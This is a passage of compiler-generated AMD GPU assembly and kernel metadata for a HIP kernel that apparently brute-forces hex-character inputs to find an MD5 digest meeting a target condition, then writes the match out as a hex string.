	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v6, v5, v3
	v_or_b32_e32 v5, v6, v7
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v5, v5, v3
	v_add3_u32 v5, s19, v9, v5
	v_not_b32_e32 v9, v3
	v_add_nc_u32_e32 v3, v1, v3
	s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v5, v5, v5, 26
	v_add_nc_u32_e32 v7, v5, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_2)
	v_or_b32_e32 v5, v7, v9
	v_not_b32_e32 v9, v6
	v_xor_b32_e32 v5, v5, v6
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v5, v8, v5, 0xbd3af235
	v_alignbit_b32 v5, v5, v5, 22
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v8, v5, v7
	v_or_b32_e32 v5, v8, v9
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_xor_b32_e32 v5, v5, v7
	v_add3_u32 v3, v3, v5, 0x2ad7d2bb
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 17
	v_add_nc_u32_e32 v9, v3, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v5, 0x98badcfe, v9
	s_waitcnt lgkmcnt(0)
	v_xor_b32_e32 v3, s10, v5
	s_delay_alu instid0(VALU_DEP_1)
	v_cmp_lt_u32_e64 s31, 0xffff, v3
	v_cmpx_gt_u32_e32 0x10000, v3
                                        ; implicit-def: $vgpr0_vgpr1_vgpr2_vgpr3
	s_cbranch_execz .LBB0_7
; %bb.6:                                ;   in Loop: Header=BB0_5 Depth=3
	s_load_b32 s30, s[0:1], 0x4
	v_add_nc_u32_e32 v3, 0x10325476, v8
	s_and_not1_b32 s31, s31, exec_lo
	s_waitcnt lgkmcnt(0)
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(SALU_CYCLE_1)
	v_cmp_ne_u32_e32 vcc_lo, s30, v3
	s_mov_b32 s30, -1
	s_and_b32 s34, vcc_lo, exec_lo
	s_or_b32 s31, s31, s34
.LBB0_7:                                ; %Flow524
                                        ;   in Loop: Header=BB0_5 Depth=3
	s_or_b32 exec_lo, exec_lo, s33
	s_mov_b32 s33, -1
	s_mov_b32 s34, s30
	s_and_saveexec_b32 s35, s31
; %bb.8:                                ;   in Loop: Header=BB0_5 Depth=3
	s_add_i32 s31, s29, 1
	s_cmp_lg_u32 s29, 57
                                        ; implicit-def: $vgpr0_vgpr1_vgpr2_vgpr3
	s_cselect_b32 s29, s31, 0x61
	s_delay_alu instid0(SALU_CYCLE_1)
	s_cmpk_gt_u32 s29, 0x66
	s_cselect_b32 s31, -1, 0
	s_and_not1_b32 s34, s30, exec_lo
	s_or_not1_b32 s33, s31, exec_lo
; %bb.9:                                ; %Flow525
                                        ;   in Loop: Header=BB0_5 Depth=3
	s_or_b32 exec_lo, exec_lo, s35
	s_xor_b32 s31, s34, -1
	s_and_b32 s33, exec_lo, s33
	s_delay_alu instid0(SALU_CYCLE_1)
	s_or_b32 s28, s33, s28
	s_and_not1_b32 s27, s27, exec_lo
	s_and_b32 s31, s31, exec_lo
	s_and_not1_b32 s26, s26, exec_lo
	s_and_b32 s30, s30, exec_lo
	s_or_b32 s27, s27, s31
	s_or_b32 s26, s26, s30
	s_and_not1_b32 exec_lo, exec_lo, s28
	s_cbranch_execnz .LBB0_5
; %bb.10:                               ; %loop.exit.guard514
                                        ;   in Loop: Header=BB0_4 Depth=2
	s_or_b32 exec_lo, exec_lo, s28
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_4) | instid1(SALU_CYCLE_1)
	s_and_not1_b32 s25, s25, exec_lo
	s_and_b32 s29, s26, exec_lo
	s_mov_b32 s28, -1
	s_or_b32 s25, s25, s29
	s_and_saveexec_b32 s29, s27
	s_xor_b32 s27, exec_lo, s29
; %bb.11:                               ; %.critedge
                                        ;   in Loop: Header=BB0_4 Depth=2
	s_add_i32 s28, s23, 1
	s_cmp_lg_u32 s23, 57
                                        ; implicit-def: $vgpr0_vgpr1_vgpr2_vgpr3
	s_cselect_b32 s23, s28, 0x61
	s_delay_alu instid0(SALU_CYCLE_1)
	s_cmpk_gt_u32 s23, 0x66
	s_cselect_b32 s28, -1, 0
	s_and_not1_b32 s26, s26, exec_lo
	s_and_not1_b32 s25, s25, exec_lo
	s_or_not1_b32 s28, s28, exec_lo
; %bb.12:                               ; %Flow526
                                        ;   in Loop: Header=BB0_4 Depth=2
	s_or_b32 exec_lo, exec_lo, s27
	s_xor_b32 s26, s26, -1
	s_and_b32 s27, exec_lo, s28
	s_delay_alu instid0(SALU_CYCLE_1)
	s_or_b32 s22, s27, s22
	s_and_not1_b32 s24, s24, exec_lo
	s_and_b32 s27, s25, exec_lo
	s_and_not1_b32 s21, s21, exec_lo
	s_and_b32 s26, s26, exec_lo
	s_or_b32 s24, s24, s27
	s_or_b32 s21, s21, s26
	s_and_not1_b32 exec_lo, exec_lo, s22
	s_cbranch_execnz .LBB0_4
; %bb.13:                               ; %loop.exit.guard506
                                        ;   in Loop: Header=BB0_3 Depth=1
	s_or_b32 exec_lo, exec_lo, s22
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_4) | instid1(SALU_CYCLE_1)
	s_and_not1_b32 s20, s20, exec_lo
	s_and_b32 s23, s24, exec_lo
	s_mov_b32 s22, -1
	s_or_b32 s20, s20, s23
	s_and_saveexec_b32 s23, s21
	s_xor_b32 s21, exec_lo, s23
; %bb.14:                               ; %.critedge41
                                        ;   in Loop: Header=BB0_3 Depth=1
	s_add_i32 s22, s12, 1
	s_cmp_lg_u32 s12, 57
                                        ; implicit-def: $vgpr0_vgpr1_vgpr2_vgpr3
	s_cselect_b32 s12, s22, 0x61
	s_delay_alu instid0(SALU_CYCLE_1)
	s_cmpk_gt_u32 s12, 0x66
	s_cselect_b32 s22, -1, 0
	s_and_not1_b32 s20, s20, exec_lo
	s_or_not1_b32 s22, s22, exec_lo
; %bb.15:                               ; %Flow529
                                        ;   in Loop: Header=BB0_3 Depth=1
	s_or_b32 exec_lo, exec_lo, s21
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
	s_and_b32 s21, exec_lo, s22
	s_or_b32 s11, s21, s11
	s_and_not1_b32 s18, s18, exec_lo
	s_and_b32 s21, s20, exec_lo
	s_delay_alu instid0(SALU_CYCLE_1)
	s_or_b32 s18, s18, s21
	s_and_not1_b32 exec_lo, exec_lo, s11
	s_cbranch_execnz .LBB0_3
; %bb.16:                               ; %loop.exit.guard
	s_or_b32 exec_lo, exec_lo, s11
	s_and_saveexec_b32 s0, s18
	s_delay_alu instid0(SALU_CYCLE_1)
	s_xor_b32 s0, exec_lo, s0
	s_cbranch_execz .LBB0_25
; %bb.17:
	v_dual_mov_b32 v2, s8 :: v_dual_mov_b32 v11, s8
	v_mov_b32_e32 v4, s9
	v_mov_b32_e32 v10, 0
	v_mov_b32_e32 v12, 1
	s_mov_b32 s8, 0
	global_store_b32 v10, v12, s[2:3]
.LBB0_18:                               ; %.preheader.i
                                        ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_19 Depth 2
	s_cmp_eq_u32 s8, 1
	s_mov_b64 s[0:1], s[4:5]
	s_cselect_b32 vcc_lo, -1, 0
	s_cmp_eq_u32 s8, 2
	v_cndmask_b32_e32 v12, v2, v11, vcc_lo
	s_cselect_b32 vcc_lo, -1, 0
	s_cmp_eq_u32 s8, 3
	s_mov_b32 s2, 0
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_2) | instid1(VALU_DEP_1)
	v_cndmask_b32_e32 v12, v12, v1, vcc_lo
	s_cselect_b32 vcc_lo, -1, 0
	s_cmp_eq_u32 s8, 4
	v_cndmask_b32_e32 v12, v12, v0, vcc_lo
	s_cselect_b32 vcc_lo, -1, 0
	s_delay_alu instid0(VALU_DEP_1)
	v_cndmask_b32_e32 v12, v12, v4, vcc_lo
.LBB0_19:                               ;   Parent Loop BB0_18 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	s_delay_alu instid0(VALU_DEP_1)
	v_lshrrev_b32_e32 v13, s2, v12
	s_add_i32 s2, s2, 8
	global_store_b8 v10, v13, s[0:1]
	s_add_u32 s0, s0, 1
	s_addc_u32 s1, s1, 0
	s_cmp_eq_u32 s2, 32
	s_cbranch_scc0 .LBB0_19
; %bb.20:                               ;   in Loop: Header=BB0_18 Depth=1
	s_add_i32 s8, s8, 1
	s_add_u32 s4, s4, 4
	s_addc_u32 s5, s5, 0
	s_cmp_lg_u32 s8, 4
	s_cbranch_scc1 .LBB0_18
; %bb.21:                               ; %.preheader.i42.preheader
	v_not_b32_e32 v0, v7
	v_mov_b32_e32 v2, 0
	s_mov_b32 s2, 0
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_or_b32_e32 v0, v9, v0
	v_xor_b32_e32 v0, v0, v8
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add3_u32 v0, v6, v0, 0xeb86d391
	v_alignbit_b32 v1, v0, v0, 11
	v_add_nc_u32_e32 v0, 0x67452301, v7
	s_delay_alu instid0(VALU_DEP_2)
	v_add3_u32 v1, v9, v1, 0xefcdab89
.LBB0_22:                               ; %.preheader.i42
                                        ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_23 Depth 2
	s_cmp_eq_u32 s2, 1
	s_mov_b64 s[0:1], 0
	s_cselect_b32 vcc_lo, -1, 0
	s_cmp_eq_u32 s2, 2
	v_cndmask_b32_e32 v4, v0, v1, vcc_lo
	s_cselect_b32 vcc_lo, -1, 0
	s_cmp_eq_u32 s2, 3
	s_mov_b32 s3, 4
	s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
	v_cndmask_b32_e32 v4, v4, v5, vcc_lo
	s_cselect_b32 vcc_lo, -1, 0
	v_cndmask_b32_e32 v4, v4, v3, vcc_lo
.LBB0_23:                               ;   Parent Loop BB0_22 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	s_add_i32 s8, s3, -4
	s_getpc_b64 s[4:5]
	s_add_u32 s4, s4, _ZL9hexLookup@rel32@lo+4
	s_addc_u32 s5, s5, _ZL9hexLookup@rel32@hi+12
	v_bfe_u32 v6, v4, s8, 4
	v_bfe_u32 v7, v4, s3, 4
	s_add_u32 s8, s6, s0
	s_addc_u32 s9, s7, s1
	s_add_u32 s0, s0, 2
	global_load_u8 v6, v6, s[4:5]
	s_addc_u32 s1, s1, 0
	s_add_i32 s3, s3, 8
	s_waitcnt vmcnt(0)
	global_store_b8 v2, v6, s[8:9] offset:1
	global_load_u8 v6, v7, s[4:5]
	s_add_i32 s4, s0, -2
	s_delay_alu instid0(SALU_CYCLE_1)
	s_cmp_gt_u32 s4, 5
	s_waitcnt vmcnt(0)
	global_store_b8 v2, v6, s[8:9]
	s_cbranch_scc0 .LBB0_23
; %bb.24:                               ;   in Loop: Header=BB0_22 Depth=1
	s_add_i32 s2, s2, 1
	s_add_u32 s6, s6, 8
	s_addc_u32 s7, s7, 0
	s_cmp_eq_u32 s2, 4
	s_cbranch_scc0 .LBB0_22
.LBB0_25:                               ; %_Z7setHashPcPj.exit
	s_nop 0
	s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
	s_endpgm
	.section	.rodata,"a",@progbits
	.p2align	6, 0x0
	.amdhsa_kernel _Z9findMatchPjS_PcS0_
		.amdhsa_group_segment_fixed_size 0
		.amdhsa_private_segment_fixed_size 0
		.amdhsa_kernarg_size 32
		.amdhsa_user_sgpr_count 15
		.amdhsa_user_sgpr_dispatch_ptr 0
		.amdhsa_user_sgpr_queue_ptr 0
		.amdhsa_user_sgpr_kernarg_segment_ptr 1
		.amdhsa_user_sgpr_dispatch_id 0
		.amdhsa_user_sgpr_private_segment_size 0
		.amdhsa_wavefront_size32 1
		.amdhsa_uses_dynamic_stack 0
		.amdhsa_enable_private_segment 0
		.amdhsa_system_sgpr_workgroup_id_x 1
		.amdhsa_system_sgpr_workgroup_id_y 0
		.amdhsa_system_sgpr_workgroup_id_z 0
		.amdhsa_system_sgpr_workgroup_info 0
		.amdhsa_system_vgpr_workitem_id 0
		.amdhsa_next_free_vgpr 14
		.amdhsa_next_free_sgpr 36
		.amdhsa_float_round_mode_32 0
		.amdhsa_float_round_mode_16_64 0
		.amdhsa_float_denorm_mode_32 3
		.amdhsa_float_denorm_mode_16_64 3
		.amdhsa_dx10_clamp 1
		.amdhsa_ieee_mode 1
		.amdhsa_fp16_overflow 0
		.amdhsa_workgroup_processor_mode 1
		.amdhsa_memory_ordered 1
		.amdhsa_forward_progress 0
		.amdhsa_shared_vgpr_count 0
		.amdhsa_exception_fp_ieee_invalid_op 0
		.amdhsa_exception_fp_denorm_src 0
		.amdhsa_exception_fp_ieee_div_zero 0
		.amdhsa_exception_fp_ieee_overflow 0
		.amdhsa_exception_fp_ieee_underflow 0
		.amdhsa_exception_fp_ieee_inexact 0
		.amdhsa_exception_int_div_zero 0
	.end_amdhsa_kernel
	.text
.Lfunc_end0:
	.size	_Z9findMatchPjS_PcS0_, .Lfunc_end0-_Z9findMatchPjS_PcS0_
                                        ; -- End function
	.section	.AMDGPU.csdata,"",@progbits
; Kernel info:
; codeLenInByte = 4244
; NumSgprs: 38
; NumVgprs: 14
; ScratchSize: 0
; MemoryBound: 0
; FloatMode: 240
; IeeeMode: 1
; LDSByteSize: 0 bytes/workgroup (compile time only)
; SGPRBlocks: 4
; VGPRBlocks: 1
; NumSGPRsForWavesPerEU: 38
; NumVGPRsForWavesPerEU: 14
; Occupancy: 16
; WaveLimiterHint : 0
; COMPUTE_PGM_RSRC2:SCRATCH_EN: 0
; COMPUTE_PGM_RSRC2:USER_SGPR: 15
; COMPUTE_PGM_RSRC2:TRAP_HANDLER: 0
; COMPUTE_PGM_RSRC2:TGID_X_EN: 1
; COMPUTE_PGM_RSRC2:TGID_Y_EN: 0
; COMPUTE_PGM_RSRC2:TGID_Z_EN: 0
; COMPUTE_PGM_RSRC2:TIDIG_COMP_CNT: 0
	.text
	.p2alignl 7, 3214868480
	.fill 96, 4, 3214868480
	.type	_ZL9hexLookup,@object           ; @_ZL9hexLookup
	.section	.rodata.str1.16,"aMS",@progbits,1
	.p2align	4, 0x0
_ZL9hexLookup:
	.asciz	"0123456789abcdef"
	.size	_ZL9hexLookup, 17

	.type	__hip_cuid_,@object             ; @__hip_cuid_
	.section	.bss,"aw",@nobits
	.globl	__hip_cuid_
__hip_cuid_:
	.byte	0                               ; 0x0
	.size	__hip_cuid_, 1

	.ident	"AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
	.section	".note.GNU-stack","",@progbits
	.addrsig
	.addrsig_sym __hip_cuid_
	.amdgpu_metadata
---
amdhsa.kernels:
  - .args:
      - .address_space:  global
        .offset:         0
        .size:           8
        .value_kind:     global_buffer
      - .address_space:  global
        .offset:         8
        .size:           8
        .value_kind:     global_buffer
      - .address_space:  global
        .offset:         16
        .size:           8
        .value_kind:     global_buffer
      - .address_space:  global
        .offset:         24
        .size:           8
        .value_kind:     global_buffer
    .group_segment_fixed_size: 0
    .kernarg_segment_align: 8
    .kernarg_segment_size: 32
    .language:       OpenCL C
    .language_version:
      - 2
      - 0
    .max_flat_workgroup_size: 1024
    .name:           _Z9findMatchPjS_PcS0_
    .private_segment_fixed_size: 0
    .sgpr_count:     38
    .sgpr_spill_count: 0
    .symbol:         _Z9findMatchPjS_PcS0_.kd
    .uniform_work_group_size: 1
    .uses_dynamic_stack: false
    .vgpr_count:     14
    .vgpr_spill_count: 0
    .wavefront_size: 32
    .workgroup_processor_mode: 1
amdhsa.target:   amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
  - 1
  - 2
...

	.end_amdgpu_metadata
